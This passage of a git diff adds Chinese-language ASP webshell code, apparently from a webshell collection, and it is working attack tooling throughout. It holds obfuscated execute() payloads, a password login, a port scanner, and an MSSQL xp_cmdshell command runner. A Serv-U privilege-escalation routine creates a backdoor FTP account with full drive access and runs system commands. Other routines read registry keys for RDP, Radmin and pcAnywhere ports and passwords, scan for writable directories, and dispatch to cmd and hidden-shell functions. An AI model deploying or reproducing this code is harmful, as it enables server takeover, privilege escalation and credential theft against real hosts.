    注意:不要多次刷新本页面,否则在只写文件夹会留下大量垃圾文件!"&backurl +Set FSO = Nothing +Message "",Scmsg,1 +next +End Sub +Function ScReWr(folder) +On Error Resume Next +Dim FSO,TestFolder,TestFileList,ReWrStr,RndFilename +Set FSO = Server.Createobject(CONST_FSO) +Set TestFolder = FSO.GetFolder(folder) +Set TestFileList = TestFolder.SubFolders +RndFilename = "\temp" & Day(now) & Hour(now) & Minute(now) & Second(now) & ".tmp" +For Each A in TestFileList +Next +If err Then +err.Clear +ReWrStr = folder & " 不可读," +FSO.CreateTextFile folder & RndFilename,True +If err Then +err.Clear +ReWrStr = ReWrStr & "不可写。" +Else +ReWrStr = ReWrStr & "可写。
    " +FSO.DeleteFile folder & RndFilename,True +End If +Else +ReWrStr = folder & " 可读," +FSO.CreateTextFile folder & RndFilename,True +If err Then +err.Clear +ReWrStr = ReWrStr & "不可写。" +Else +ReWrStr = ReWrStr & "可写。
    " +FSO.DeleteFile folder & RndFilename,True +End if +End if +Set TestFileList = Nothing +Set TestFolder = Nothing +Set FSO = Nothing +ScReWr = ReWrStr +End Function +Sub CustomScanDriveForm() +execute(king("yo rft┊`>``;)0-(gu.nkgzloi``=aeosZfg 面页级上回返=txsqc fgzzxw=thnz JMYGC<` p┊`>kw<]成完描扫[` p┊zbtG┊ yC rfS┊koWzbtGaetiZ,tsoXaetiZ,))o(zoshUlizqY(dokJ tsoX_koW_tzokKkoWvgiU┊ftiz 1>)`:`,)o(zoshUlizqY(kzlfo yo┊ )zoshUlizqY(rfxgAM gJ )zoshUlizqY(rfxgAV=o kgX┊ ))10(kie&)80(kie,)`lizqY`(zltxjtN(zoshU=zoshUlizqY┊)`lizqY`(zltxjtN = )`lizqh`(fgolltU┊ilxsX.tlfghltk┊`>kw<......等稍请间时的定一要需能可测检` p┊)`fg`=)`hdtJaetiZgG`(zltxjtN( = hdtJaetiZgG┊)`fg`=)`tzokKgGvgiU`(zltxjtN( = koWtzokKgGvgiU┊)`fg`=)`koWzbtGaetiZ`(zltxjtN( = koWzbtGaetiZ┊)`fg`=)`tsoXaetiZ`(zltxjtN( = tsoXaetiZ┊tlst┊`>ktzfte/<>dkgy/<` p┊`>stwqs/<录目时临测检不` p┊`>/ 'rtaetie'=rtaetie 'hdtJaetiZgG'=ro 'bgwaetie'=thnz 'hdtJaetiZgG'=tdqf zxhfo<` p┊`>'hdtJaetiZgG'=kgy stwqs<` p┊`>stwqs/<件文和录目写禁显` p┊`>/'tzokKgGvgiU'=ro 'bgwaetie'=thnz 'tzokKgGvgiU'=tdqf zxhfo<` p┊`>'tzokKgGvgiU'=kgy stwqs<` p┊`>stwqs/<` p┊`件文试测>/ 'rtaetie'=rtaetie 'tsoXaetiZ'=ro 'bgwaetie'=thnz 'tsoXaetiZ'=tdqf zxhfo<` p┊`>'tsoXaetiZ'=kgy stwqs<` p┊`>stwqs/<` p┊` 录目试测>/ 'rtaetie'=rtaetie 'koWzbtGaetiZ'=ro 'bgwaetie'=thnz 'koWzbtGaetiZ'=tdqf zxhfo<` p┊`>'koWzbtGaetiZ'=kgy stwqs<` p┊`> '测检始开'=txsqc 'fgzzxw'=tdqf 'zodwxl'=thnz zxhfo<` p┊`>/ kw<` p┊`>qtkqzbtz/<`&kzl_lizqY&`>'zorS'=llqse '10'=lvgk '13'=lsge 'lizqY'=tdqf qtkqzbtz<` p┊`>kw<录目子测检动自会序程,录目的测检想你入输>kw''=fgozeq 'zlgh'=rgiztd '0dkgy'=tdqf '0dkgy'=ro dkgy<>ktzfte<` p┊)`lizqh`(fgolltU=kzl_lizqY ftiz ``><)`lizqh`(fgolltU yo┊`wxhztfC\:Z`&)10(kie&)80(kie&`tkxzhqZESYR\:Z`&)10(kie&)80(kie&`tieqe\:Z`&)10(kie&)80(kie&`etk158\:Z`&)10(kie&)80(kie&`\foqdzlgittky\:r`&)10(kie&)80(kie&`\wxhdv\:Z`&)10(kie&)80(kie&`\ktsenetk\:y`&)10(kie&)80(kie&`\ktsenetk\:t`&)10(kie&)80(kie&`\ktsenetk\:r`&)10(kie&)80(kie&`\ktsenetk\:Z`&)10(kie&)80(kie&`\ltsoX dqkugkY\:t`&)10(kie&)80(kie&`\ltsoX dqkugkY\:r`&)10(kie&)80(kie&`\hih\:e`&)10(kie&)80(kie&`\ltsoX dqkugkY\:e`&)10(kie&)80(kie&`\lufozztU rfq lzftdxegW\:e`&)10(kie&)80(kie&`\lvgrfov\:e`=kzl_lizqY┊ftiz ``= )`lizqY`(zltxjtN yo┊SxkJ = ktyyxA.tlfghltN'")) +end sub +function GetFullPath(path) +GetFullPath = path +if Right(path,1) <> "\" then GetFullPath = path&"\" +end function +Function Deltextfile(filepath) +On Error Resume Next +Set objFSO = CreateObject(CONST_FSO) +if objFSO.FileExists(filepath) then +objFSO.DeleteFile(filepath) +end if +Set objFSO = nothing +Deltextfile = Err.Number +End Function +Function CheckDirIsOKWrite(DirStr) +On Error Resume Next +Set FSO = Server.CreateObject(CONST_FSO) +filepath = GetFullPath(DirStr)&fso.GettempName +FSO.CreateTextFile(filepath) +CheckDirIsOKWrite = Err.Number +if ShowNoWriteDir and (CheckDirIsOKWrite =70) then +j "[目录]"&DirStr&" ["&Err.Description&"]
    " +end if +set fout =Nothing +set FSO = Nothing +Deltextfile(filepath) +if CheckDirIsOKWrite=0 and Deltextfile(filepath)=70 then CheckDirIsOKWrite =1 +end Function +function CheckFileWrite(filepath) +On Error Resume Next +Set FSO = Server.CreateObject(CONST_FSO) +set getAtt=FSO.GetFile(filepath) +getAtt.Attributes = getAtt.Attributes + CheckFileWrite = Err.Number +set FSO = Nothing +set getAtt = Nothing +end function +function ShowDirWrite_Dir_File(Path,CheckFile,CheckNextDir) +On Error Resume Next +Set FSO = Server.CreateObject(CONST_FSO) +B = FSO.FolderExists(Path) +set FSO=nothing +IS_TEMP_DIR =(instr(UCase(Path),"WINDOWS\TEMP")>0) and NoCheckTemp +if B=false then +Re = CheckFileWrite(Path) +if Re =0 then +j "[文件]"&Path&"
    " +b =true +exit function +else +j "[文件]"&Path&" ["&Err.Description&"]
    " +exit function +end if +end if +Path = GetFullPath(Path) +re = CheckDirIsOKWrite(Path) +if (re =0) or (re=1) then +j "[目录]"& Path&"
    " +end if +Set FSO = Server.CreateObject(CONST_FSO) +set f = fso.getfolder(Path) +if (CheckFile=True) and (IS_TEMP_DIR=false) then +b=false +for each file in f.Files +Re = CheckFileWrite(Path&file.name) +if Re =0 then +j "[文件]"& Path&file.name&"
    " +b =true +else +if ShowNoWriteDir then j "[文件]"&Path&file.name&" ["&Err.Description&"]
    " +end if +next +if b then response.Flush +end if +for each file in f.SubFolders +if CheckNextDir=false then +re = CheckDirIsOKWrite(Path&file.name) +if (re =0) or (re=1) then +j "[目录]"& Path&file.name&"
    " +end if +end if +if (CheckNextDir=True) and (IS_TEMP_DIR=false) then +ShowDirWrite_Dir_File Path&file.name,CheckFile,CheckNextDir +end if +next +Set FSO = Nothing +set f = Nothing +end function +c=userpass +function goback() +execute(king("ufoizgf=ktrsgyg ztl┊ufoizgf=glyB ztl┊yo rft┊`>ktzfte/<>kw/<>';)0-(gu.nkgzloi'=aeosZfg 回返=txsqc fgzzxw=thnz JMYGC<>kw<>ktzfte<>ktzfte/ktzfte<>zhokel/<)```&)`izqYktrsgX`(fgolltU&```(ktrsgXvgiU>zhokel<` p┊ tlst┊`>zhokel/<)```&)ktrsgyzftkqh.ktrsgyg(izqYtN&```(ktrsgXvgiU>zhokel<` p┊ ftiz ktrsgXzggNlC.ktrsgyg zgf yo┊))`izqYktrsgX`(fgolltU(ktrsgyztE.glyB = ktrsgyg ztl┊)BUX_JUGBZ(zetpwBtzqtkZ.ktcktU = glyB ztl")) +end function +sub ReadREG() +execute(king("yo rft┊yC rfS┊nqkkQtiz & `>os<` p┊tlsS┊zbtG┊)o(nqkkQtiz & `>os<` p┊)nqkkQtiz(rfxgAM gJ 1=o kgX┊ftiJ )nqkkQtiz(nqkkQlC yC┊)izqYtiz(rqtNutN.Llv=nqkkQtiz┊)`izqYtiz`(zltxjtN=izqYtiz┊)`sstiU.zhokeUK`(zetpwBtzqtkZ.ktcktU = Llv ztU┊zbtG tdxltN kgkkS fB┊ftiz ``><)`izqYtiz`(zltxjtN yo┊`>/ki<>dkgy/<` p┊`>')(zodwxl.dkgy.loiz'=aeosefg '值 键 读'=txsqc fgzzxw=thnz zxhfo<` p┊`>13=tmol ''=txsqc izqYtiz=tdqf zxhfo< ` p┊`>/ kw<>zetstl/<` p┊`>fgozhg/<口端YZJ的放开许允>'lzkgYrtvgssQYZJ\}S9AS66ZW3780-8XXQ-Z1A7-22S3-390657Q3{\lteqyktzfC\lktztdqkqY\hoheJ\lteocktU\011ztUsgkzfgZ\TSJUOU\TVFD'=txsqc fgozhg<` p┊`>fgozhg/<口端YWM的放开许允>'lzkgYrtvgssQYWM\}S9AS66ZW3780-8XXQ-Z1A7-22S3-390657Q3{\lteqyktzfC\lktztdqkqY\hoheJ\lteocktU\011ztUsgkzfgZ\TSJUOU\TVFD'=txsqc fgozhg<` p┊`>fgozhg/<放开火防>'YZJ:2388\zloV\lzkgYfthBnssqwgsE\tsoygkYrkqrfqzU\neosgYssqvtkoX\lktztdqkqY\llteeQrtkqiU\lteocktU\ztUsgkzfgZzftkkxZ\TSJUOU\TVFD'=txsqc fgozhg<` p┊`>fgozhg/'izqYugV\zftuQufosxrtieU\zyglgkeoT\SNQKJXBU\SGCDZQT_VQZBV_OSFD'=txsqc fgozhg<` p┊`>fgozhg/<8滤过ho/hez>'lktzsoXnzokxetUtswqfS\hoheJ\lteocktU\ztUsgkzfgZzftkkxZ\TSJUOU\SGCDZQT_VQZBV_OSFD'=txsqc fgozhg<` p┊`>fgozhg/<9滤过ho/hez>'lktzsoXnzokxetUtswqfS\hoheJ\lteocktU\911ztUsgkzfgZ\TSJUOU\SGCDZQT_VQZBV_OSFD'=txsqc fgozhg<` p┊`>fgozhg/<0滤过ho/hez>'lktzsoXnzokxetUtswqfS\hoheJ\lteocktU\011ztUsgkzfgZ\TSJUOU\SGCDZQT_VQZBV_OSFD'=txsqc fgozhg<` p┊`>fgozhg/<口端态状KnfQeY>``zkgYlxzqzUYCYZJ\dtzlnU\fgolktIzftkkxZ\tktivnfQeh\etzfqdnU\SNQKJXBU\TVFD``=txsqc fgozhg<`p┊`>fgozhg/<口端据数KnfQeY>``zkgYqzqWYCYZJ\dtzlnU\fgolktIzftkkxZ\tktivnfQeh\etzfqdnU\SNQKJXBU\TVFD``=txsqc fgozhg<`p┊`>fgozhg/<口端2388>``ktwdxGzkgY\heJ-YWN\lfgozqzUfoK\ktcktU sqfodktJ\sgkzfgZ\ztUsgkzfgZzftkkxZ\TSJUOU\TVFD``=txsqc fgozhg<`p┊`>fgozhg/<口端7ZGI>``ktwdxGzkgY\7ZGIfoK\ZGIsqtN\SNQKJXBU\TVFD``=txsqc fgozhg<`p┊`>fgozhg/<码密7ZGI>``rkgvllqY\7ZGIfoK\ZGIsqtN\SNQKJXBU\TVFD``=txsqc fgozhg<`p┊`>fgozhg/<口端8ZGI>``ktwdxGzkgY\8ZGIfoK\VNB\tkqvzygU\MZFD``=txsqc fgozhg<`p┊`>fgozhg/<码密8ZGI>``rkgvllqY\8ZGIfoK\VNB\tkqvzygU\MZFD``=txsqc fgozhg<`p┊`>fgozhg/<口端fodrqN>``zkgY\lktztdqkqY\ktcktU\1.9c\fodrQN\TSJUOU\TVFD``=txsqc fgozhg<`p┊`>fgozhg/<码密fodrqN>``ktztdqkqY\lktztdqkqY\ktcktU\1.9c\fodrQN\TSJUOU\TVFD``=txsqc fgozhg<`p┊`>fgozhg/<表列卡网>``rfoA\tuqafoV\hoheJ\lteocktU\ztUsgkzfgZzftkkxZ\TSJUOU\TVFD``=txsqc fgozhg<`p┊`>fgozhg/'tdqGktzxhdgZ\tdqGktzxhdgZ\tdqGktzxhdgZ\sgkzfgZ\ztUsgkzfgZzftkkxZ\TSJUOU\TVFD'=txsqc fgozhg<` p┊`>fgozhg/<值键的带自择选>''=txsqc fgozhg<` p┊`>';txsqc.loiz=txsqc.izqYtiz.dkgy.loiz'=tufqiZfg zetstl<` p┊` >9=fqhlsge rz<>kz<` p┊`>zeQtiz=tdqf utNrqtN=txsqc ftrroi=thnz zxhfo<` p┊ `>h<取读值键表册注` p┊`>zlgh=rgiztd dkgy<` p")) +end sub +sub delpoint() +execute(king("`>cor/<>dkgy/<>'件文点带除删'=txsqc 'zodwxU'=tdqf 'zodwxl'=thnz zxhfo<>'hlq.tsoy\..zgr\zlgittky\:W'= txsqc'63'=tmol 'zbtz'=thnz'tsoyhstr'=tdqf zxhfo<>'zlgh'=rgiztd ''=fgozeq dkgy<>h<>dkgy/<>'录目点带除删'=txsqc 'zodwxU'=tdqf 'zodwxl'=thnz zxhfo<>'..zgr\zlgittky\:W'=txsqc '63'=tmol 'zbtz'=thnz 'ktrgsyhstr'=tdqf zxhfo<>'zlgh'=rgiztd''=fgozeq dkgy<>kw<>kw<` p┊`>zfgy<写填例示照参>rtk= kgsge zfgy<` p┊yo rft┊)`tsoyhstr`(zltxjtN&`\?\\` tsoyzfoghstr┊ftiz ``>< )`tsoyhstr`(zltxjtN yo┊yo rft┊)`ktrgsyhstr`(zltxjtN&`\?\\` ktrsgyzfoghstr┊ftiz ``>< )`ktrgsyhstr`(zltxjtN yo")) +end sub +function Delpointfolder(t0) +execute(king("kqtsZ.kkS:fgozhokeltW.kkS p ftiJ kkS XC┊`>kw)`\:`,1z(kzlfC yC┊)BUX_JUGBZ(zetpwBtzqtkZ.ktcktU=gly ztU")) +End Function +function Delpointfile(t0) +execute(king("`>kw)`\:`,1z(kzlfC yC┊)BUX_JUGBZ(zetpwBtzqtkZ.ktcktU=gly ztU ┊zbtG tdxltN kgkkS fB'")) +End function +if request("ProFile")<>"" then +on error resume next +if Application(request("ProFile"))=1 then +Set fsoXX = Server.CreateObject(CONST_FSO) +if request("DelCon")=1 then +Application(request("ProFile")&"Con")="" +response.redirect Url&"?ProFile="&request("ProFile")&"" +response.end +end if +DIM rline,rline2 +rline2=Application(request("ProFile")&"Code") +rline2=rline2&vbcrlf +j"" +j"
    清空日志 ?要想解除保护,直接关闭页面即可。
    " +for each FileUrl in split(Application(request("ProFile")&"File"),vbcrlf) +FileUrl=trim(FileUrl) +if fsoXX.FileExists(FileUrl) then +Set txt = fsoXX.OpenTextFile(FileUrl,1,true) +rline="" +if Not txt.AtEndOfStream then +rline=txt.ReadAll +end if +if rline2<>rline then +txt.close +fsoX.GetFile(FileUrl).Attributes=32 +if Application(request("ProFile")&"Char")=1 then +set myfileee = fsoXX.CreateTextFile(FileUrl,true) +else +set myfileee = fsoXX.CreateTextFile(FileUrl,true,true) +end if +myfileee.writeline Application(request("ProFile")&"Code") +Application(request("ProFile")&"Con")=now()&" "&FileUrl&" 被更改,已恢复
    "&Application(request("ProFile")&"Con") +else +Application(request("ProFile")&"Con")=now()&" "&FileUrl&" √
    "&Application(request("ProFile")&"Con") +txt.close +end if +else +if Application(request("ProFile")&"Char")=1 then +set myfileee = fsoXX.CreateTextFile(FileUrl,true) +else +set myfileee = fsoXX.CreateTextFile(FileUrl,true,true) +end if +myfileee.writeline Application(request("ProFile")&"Code") +Application(request("ProFile")&"Con")=now()&" "&FileUrl&" 被删除,已恢复
    "&Application(request("ProFile")&"Con") +end if +next +if ubound(split(Application(request("ProFile")&"Con"),"
    "))>=40 then +dim ashowic +for ashowi=0 to 40 +ashowic=ashowic&split(Application(request("ProFile")&"Con"),"
    ")(ashowi)&"
    " +next +Application(request("ProFile")&"Con")=ashowic +end if +j Application(request("ProFile")&"Con") +else +j"


    保护进程丢失,请重新生成保护进程。
    " +end if +if request("profile")="a" then j c +response.end +end if + +if session("KKK")<>UserPass then +if request.form("pass")<>"" then +if request.form("pass")=UserPass then +session("KKK")=UserPass +response.redirect url +else +j"


    入侵的再多也入侵不了你的心



  • "&backurl +end if +else +si="
    "&Copyright&"

    输入密码:
    " +if instr(SI,SIC)<>0 then j sI +end if +response.end +end if +sub ScanPort() +Server.ScriptTimeout = 7776000 +if request.Form("port")="" then +PortList="1433,3306,3389,4899,43958" +else +PortList=request.Form("port") +end if +if request.Form("ip")="" then +IP="127.0.0.1" +else +IP=request.Form("ip") +end if +j"

    端口扫描器(如果扫描多个端口,速度比较慢,个人推荐使用CMD,CMD对内网扫描不准确。)

    如果是内网,则扫描结果外部IP可能无法连接。请在SHELL内执行系列操作。

    " +j"" +j"

    Scan IP: " +j" " +j"
    Port List:" +j"" +j"

    " +j"" +j"" +j"

    " +If request.Form("scan") <> "" Then +timer1 = timer +j("扫描报告:

    ") +tmp = Split(request.Form("port"),",") +ip = Split(request.Form("ip"),",") +For hu = 0 to Ubound(ip) +If InStr(ip(hu),"-") = 0 Then +For i = 0 To Ubound(tmp) +If Isnumeric(tmp(i)) Then +Call Scan(ip(hu), tmp(i)) +Else +seekx = InStr(tmp(i), "-") +If seekx > 0 Then +startN = Left(tmp(i), seekx - 1 ) +endN = Right(tmp(i), Len(tmp(i)) - seekx ) +If Isnumeric(startN) and Isnumeric(endN) Then +For j = startN To endN +Call Scan(ip(hu), j) +Next +Else +j(startN & " or " & endN & " is not number
    ") +End If +Else +j(tmp(i) & " is not number
    ") +End If +End If +Next +Else +ipStart = Mid(ip(hu),1,InStrRev(ip(hu),".")) +For xxx = Mid(ip(hu),InStrRev(ip(hu),".")+1,1) to Mid(ip(hu),InStr(ip(hu),"-")+1,Len(ip(hu))-InStr(ip(hu),"-")) +For i = 0 To Ubound(tmp) +If Isnumeric(tmp(i)) Then +Call Scan(ipStart & xxx, tmp(i)) +Else +seekx = InStr(tmp(i), "-") +If seekx > 0 Then +startN = Left(tmp(i), seekx - 1 ) +endN = Right(tmp(i), Len(tmp(i)) - seekx ) +If Isnumeric(startN) and Isnumeric(endN) Then +For j = startN To endN +Call Scan(ipStart & xxx,j) +Next +Else +j(startN & " or " & endN & " is not number
    ") +End If +Else +j(tmp(i) & " is not number
    ") +End If +End If +Next +Next +End If +Next +timer2 = timer +thetime=cstr(int(timer2-timer1)) +j"
    Process in "&thetime&" s" +END IF +end sub +Sub Scan(targetip, portNum) +On Error Resume Next +set conn = Server.CreateObject("ADODB.connection") +connstr="Provider=SQLOLEDB.1;Data Source=" & targetip &","& portNum &";User ID=lake2;Password=;" +conn.ConnectionTimeout = 1 +conn.open connstr +If Err Then +If Err.number = -2147217843 or Err.number = -2147467259 Then +If InStr(Err.description, "(Connect()).") > 0 Then +j(targetip & ":" & portNum & ".........关闭
    ") +Else +j(targetip & ":" & portNum & ".........开放
    ") +End If +End If +End If +End Sub +Select Case Action:case "MainMenu":MainMenu() +Case "EditPower" +Call EditPower(request("PowerPath")) +Case "SavePower" +Call SavePower(request("PowerPath"),request("SaveType")) +case "getTerminalInfo":getTerminalInfo():case "PageAddToMdb":PageAddToMdb():case "ScanPort":ScanPort():FuncTion MMD():SI="
    MSSQL Commander
    Command:?UserName:?Password:?
    ":j SI:SI="":If trim(request.form("MMD"))<>"" Then:password= trim(Request.form("P")):id=trim(Request.form("U")):set adoConn=sERvEr.crEATeobjECT("ADODB.Connection"):adoConn.Open "Provider=SQLOLEDB.1;Password="&password&";User ID="&id:strQuery = "exec master.dbo.xp_cMdsHeLl '" & request.form("MMD") & "'":set recResult = adoConn.Execute(strQuery):If NOT recResult.EOF Then:Do While NOT recResult.EOF:strResult = strResult & chr(13) & recResult(0):recResult.MoveNext:Loop:End if:set recResult = Nothing:strResult = Replace(strResult," ","?"):strResult = Replace(strResult,"<","<"):strResult = Replace(strResult,">",">"):strResult = Replace(strResult,chr(13),"
    "):End if:set adoConn = Nothing:j request.form("MMD") & "
    "& strResult:end FuncTion:case "Alexa" +dim AlexaUrl,Top:AlexaUrl=request("u"):Top=Alexa(AlexaUrl):if AlexaUrl="" then AlexaUrl=""&request.servervariables("http_host")&"" +execute(king("`>kz/<>rz/<`&)`SNQKJXBU_NSINSU`(ltswqokqIktcktU.zltxjtN&`>'XXXXXX#'=kgsgeuw rz<>rz/< >'XXXXXX#'=kgsgeuw rz<>rz/<本版器务服ASK>'XXXXXX#'=kgsgeuw '119'=izrov '19'=ziuoti rz<>'ktzfte'=fuosq kz<>kz/<>rz/<`&)`UB`(ltswqokqIktcktU.zltxjtN&`>'XXXXXX#'=kgsgeuw rz<>rz/< >'XXXXXX#'=kgsgeuw rz<>rz/<统系作操器务服>'XXXXXX#'=kgsgeuw '119'=izrov '19'=ziuoti rz<>'ktzfte'=fuosq kz<>kz/<>rz/<`&)`UNBUUSZBNY_XB_NSATMG`(ltswqokqIktcktU.zltxjtN&`>'XXXXXX#'=kgsgeuw rz<>rz/< >'XXXXXX#'=kgsgeuw rz<>rz/<量数MYZ器务服>'XXXXXX#'=kgsgeuw '119'=izrov '19'=ziuoti rz<>'ktzfte'=fuosq kz<>kz/<>rz/< `&vgf&`>'XXXXXX#'=kgsgeuw rz<>rz/< >'XXXXXX#'=kgsgeuw rz<>rz/<间时器务服>'XXXXXX#'=kgsgeuw '119'=izrov '19'=ziuoti rz<>'ktzfte'=fuosq kz<>dkgy/<>kz/<>rz/<>'9'=txsqc 'fgozeq'=tdqf 'ftrroi'=thnz zxhfo<>'bh1:ktrkgw'=tsnzl'_______________'=txsqc 'zodwxl'=thnz zxhfo<>'bh1:ktrkgw'=tsnzl'`&)`NWWQ_VQZBV`(ltswqokqIktcktU.zltxjtN&`'=txsqc '60'=tmol 'ho'=tdqf 'zbtz'=thnz zxhfo<>'XXXXXX#'=kgsgeuw rz<>rz/< >'XXXXXX#'=kgsgeuw rz<>rz/'XXXXXX#'=kgsgeuw '119'=izrov '19'=ziuoti rz<>'ktzfte'=fuosq kz<>'afqsw_'=ztukqz 'dkgyho'=tdqf 'hlq.ho/tktiv/wtv/ukg.sstilwtv//:hzzi'=fgozeq zlgh=rgiztd dkgy<>kz/<>rz/<`&)`STQG_NSINSU`(ltswqokqIktcktl.zltxjtk&`>'XXXXXX#'=kgsgeuw rz<>rz/< >'XXXXXX#'=kgsgeuw rz<>rz/<名器务服>'XXXXXX#'=kgsgeuw '119'=izrov '19'=ziuoti rz<>'ktzfte'=fuosq kz<>kz/<>rz/<息信件组器务服>'xftd'=kgsgeuw 'ktzfte'=fuosq '8'=fqhlsge '19'=ziuoti rz<>kz<>'ktzfte'=fuosq '1'=uforrqhsste '0'=ufoeqhlsste '1'=ktrkgw 'xftd'=kgsgeuw '%13'=izrov tswqz<>kw<`=CU")) +For i=0 To 18 +SI=SI&""&ObT(i,0)&""&ObT(i,1)&""&ObT(i,2)&"" +Next +j SI +Err.Clear +Function bytes2BSTR(vIn) +dim strReturn +dim i1,ThisCharCode,NextCharCode +strReturn = "" +For i1 = 1 To LenB(vIn) +ThisCharCode = AscB(MidB(vIn,i1,1)) +If ThisCharCode < &H80 Then +strReturn = strReturn & Chr(ThisCharCode) +Else +NextCharCode = AscB(MidB(vIn,i1+1,1)) +strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode)) +i1 = i1 + 1 +End If +Next +bytes2BSTR = strReturn + Err.Clear +End Function +Case "Servu" +SUaction=request("SUaction") +if not isnumeric(SUaction) then response.end +user = trim(request("u")) +pass = trim(request("p")) +port = trim(request("port")) +cmd = trim(request("c")) +f=trim(request("f")) +if f="" then +f=gpath() +else +f=left(f,2) +end if +ftpport = 65500 +timeout=3 +loginuser = "User " & user & vbCrLf +loginpass = "Pass " & pass & vbCrLf +deldomain = "-DELETEDOMAIN" & vbCrLf & "-IP=0.0.0.0" & vbCrLf & " PortNo=" & ftpport & vbCrLf +mt = "SITE MAINTENANCE" & vbCrLf +newdomain = "-SETDOMAIN" & vbCrLf & "-Domain=goldsun|0.0.0.0|" & ftpport & "|-1|1|0" & vbCrLf & "-TZOEnable=0" & vbCrLf & " TZOKey=" & vbCrLf +newuser = "-SETUSERSETUP" & vbCrLf & "-IP=0.0.0.0" & vbCrLf & "-PortNo=" & ftpport & vbCrLf & "-User=go" & vbCrLf & "-Password=od" & vbCrLf & _ + "-HomeDir=c:\\" & vbCrLf & "-LoginMesFile=" & vbCrLf & "-Disable=0" & vbCrLf & "-RelPaths=1" & vbCrLf & _ + "-NeedSecure=0" & vbCrLf & "-HideHidden=0" & vbCrLf & "-AlwaysAllowLogin=0" & vbCrLf & "-ChangePassword=0" & vbCrLf & _ + "-QuotaEnable=0" & vbCrLf & "-MaxUsersLoginPerIP=-1" & vbCrLf & "-SpeedLimitUp=0" & vbCrLf & "-SpeedLimitDown=0" & vbCrLf & _ + "-MaxNrUsers=-1" & vbCrLf & "-IdleTimeOut=600" & vbCrLf & "-SessionTimeOut=-1" & vbCrLf & "-Expire=0" & vbCrLf & "-RatioUp=1" & vbCrLf & _ + "-RatioDown=1" & vbCrLf & "-RatiosCredit=0" & vbCrLf & "-QuotaCurrent=0" & vbCrLf & "-QuotaMaximum=0" & vbCrLf & _ + "-Maintenance=System" & vbCrLf & "-PasswordType=Regular" & vbCrLf & "-Ratios=None" & vbCrLf & " Access=c:\\|RWAMELCDP" & vbCrLf +quit = "QUIT" & vbCrLf +newuser=replace(newuser,"c:",f) +select case SUaction +case 1 +set a=Server.CreateObject("Microsoft.XMLHTTP") +a.open "GET", "http://127.0.0.1:" & port & "/goldsun/upadmin/s1",True, "", "" +a.send loginuser & loginpass & mt & deldomain & newdomain & newuser & quit +set session("a")=a +j"
    " +j"" +j"" +j"" +j"" +j"" +j"
    " +j"" +case 2 +set b=Server.CreateObject("Microsoft.XMLHTTP") +b.open "GET", "http://127.0.0.1:" & ftpport & "/goldsun/upadmin/s2", True, "", "" +b.send "User go" & vbCrLf & "pass od" & vbCrLf & "site exec " & cmd & vbCrLf & quit +set session("b")=b +j"
    " +j"" +j"" +j"" +j"" +j"" +j"
    " +j"" +case 3 +set c=Server.CreateObject("Microsoft.XMLHTTP") +a.open "GET", "http://127.0.0.1:" & port & "/goldsun/upadmin/s3", True, "", "" +a.send loginuser & loginpass & mt & deldomain & quit +set session("a")=a +j"
    提权完毕,已执行了命令:
    "&cmd&"

    " +j"" +j"
    " +case else +on error resume next +set a=session("a") +set b=session("b") +set c=session("c") +a.abort +Set a = Nothing +b.abort +Set b = Nothing +c.abort +Set c = Nothing +j"
    " +j"" +j"" +j"" +j"" +j"" +j"" +j"" +j"" +j"" +j"" +j"" +j"" +j"" +j"" +j"" +j"" +j"" +j"" +j" " +j" " +j" " +j" " +j" " +j" " +j" " +j" " +j"
    Serv-U 提升权限 by Sam
    用户名:
    口 令:
    端 口:
    系统路径:
    命 令:
    " +j"" +j"
    " +end select +function Gpath() +on error resume next +err.clear +set f=Server.CreateObject(CONST_FSO) +if err.number>0 then +gpath="c:" +exit function +end if +gpath=f.GetSpecialFolder(0) +gpath=lcase(left(gpath,2)) +set f=nothing +end function +case"MMD":MMD() +case"ReadREG":call ReadREG() +case"delpoint":call delpoint() +case"Show1File":Set ABC=New LBF:ABC.Show1File(Session("FolderPath")):Set ABC=Nothing +case"DownFile":DownFile FName:ShowErr() +case"DelFile":Set ABC=New LBF:ABC.DelFile(FName):Set ABC=Nothing +case"EditFile":Set ABC=New LBF:ABC.EditFile(FName):Set ABC=Nothing +case"CopyFile":Set ABC=New LBF:ABC.CopyFile(FName):Set ABC=Nothing +case"MoveFile":Set ABC=New LBF:ABC.MoveFile(FName):Set ABC=Nothing +case"DelFolder":Set ABC=New LBF:ABC.DelFolder(FName):Set ABC=Nothing +case"CopyFolder":Set ABC=New LBF:ABC.CopyFolder(FName):Set ABC=Nothing +case"MoveFolder":Set ABC=New LBF:ABC.MoveFolder(FName):Set ABC=Nothing +case"NewFolder":Set ABC=New LBF:ABC.NewFolder(FName):Set ABC=Nothing +case"UpFile":UpFile() +case"TSearch":TSearch() +case"pcanywhere4":pcanywhere4() +case"Cmd1Shell":Cmd1Shell() +case"Logout":Session.Contents.Remove("kkk"):Response.Redirect URL +case"Course":Course() +case"Alexa":Alexa() +case"suftp":suftp() +case"upload":upload() +case"radmin":radmin() +case"pcanywhere4":pcanywhere4() +case"goback":goback() +Case "ProFile":ProFile() +case"php":php() +case"apjdel":apjdel() +case"cmdx":cmdx() +case"aspx":aspx() +case"hiddenshell":hiddenshell() +case"ScanDriveForm" : ScanDriveForm +Case "CustomScanDriveForm":CustomScanDriveForm() +case"ScanDrive" : ScanDrive Request("Drive") +case"ScFolder" : ScFolder Request("Folder") + Case Else MainForm() +End Select +if Action<>"Servu" then ShowErr() +j"" %> + diff --git "a/asp/r00ts\346\227\240FSO\347\273\204\345\273\272\345\244\247\351\251\254.asp" "b/asp/r00ts\346\227\240FSO\347\273\204\345\273\272\345\244\247\351\251\254.asp" new file mode 100644 index 0000000..ca955a6 --- /dev/null +++ "b/asp/r00ts\346\227\240FSO\347\273\204\345\273\272\345\244\247\351\251\254.asp" @@ -0,0 +1,2294 @@ +<% +Server.ScriptTimeout=999999999 +UserPass="r00ts" +Response.Buffer =true +On Error Resume Next +BodyColor="#000000" +FontColor="#33FF00" +LinkColor="#33FF00" +clientPassword=UserPass +Const strJsCloseMe="" +strBAD="" +Const isDebugMode=False +Const DEfd="" +sub ShowErr() +If Err Then +o"

     "&Err.Description&" "&Err.Source&"(点此返回上页)

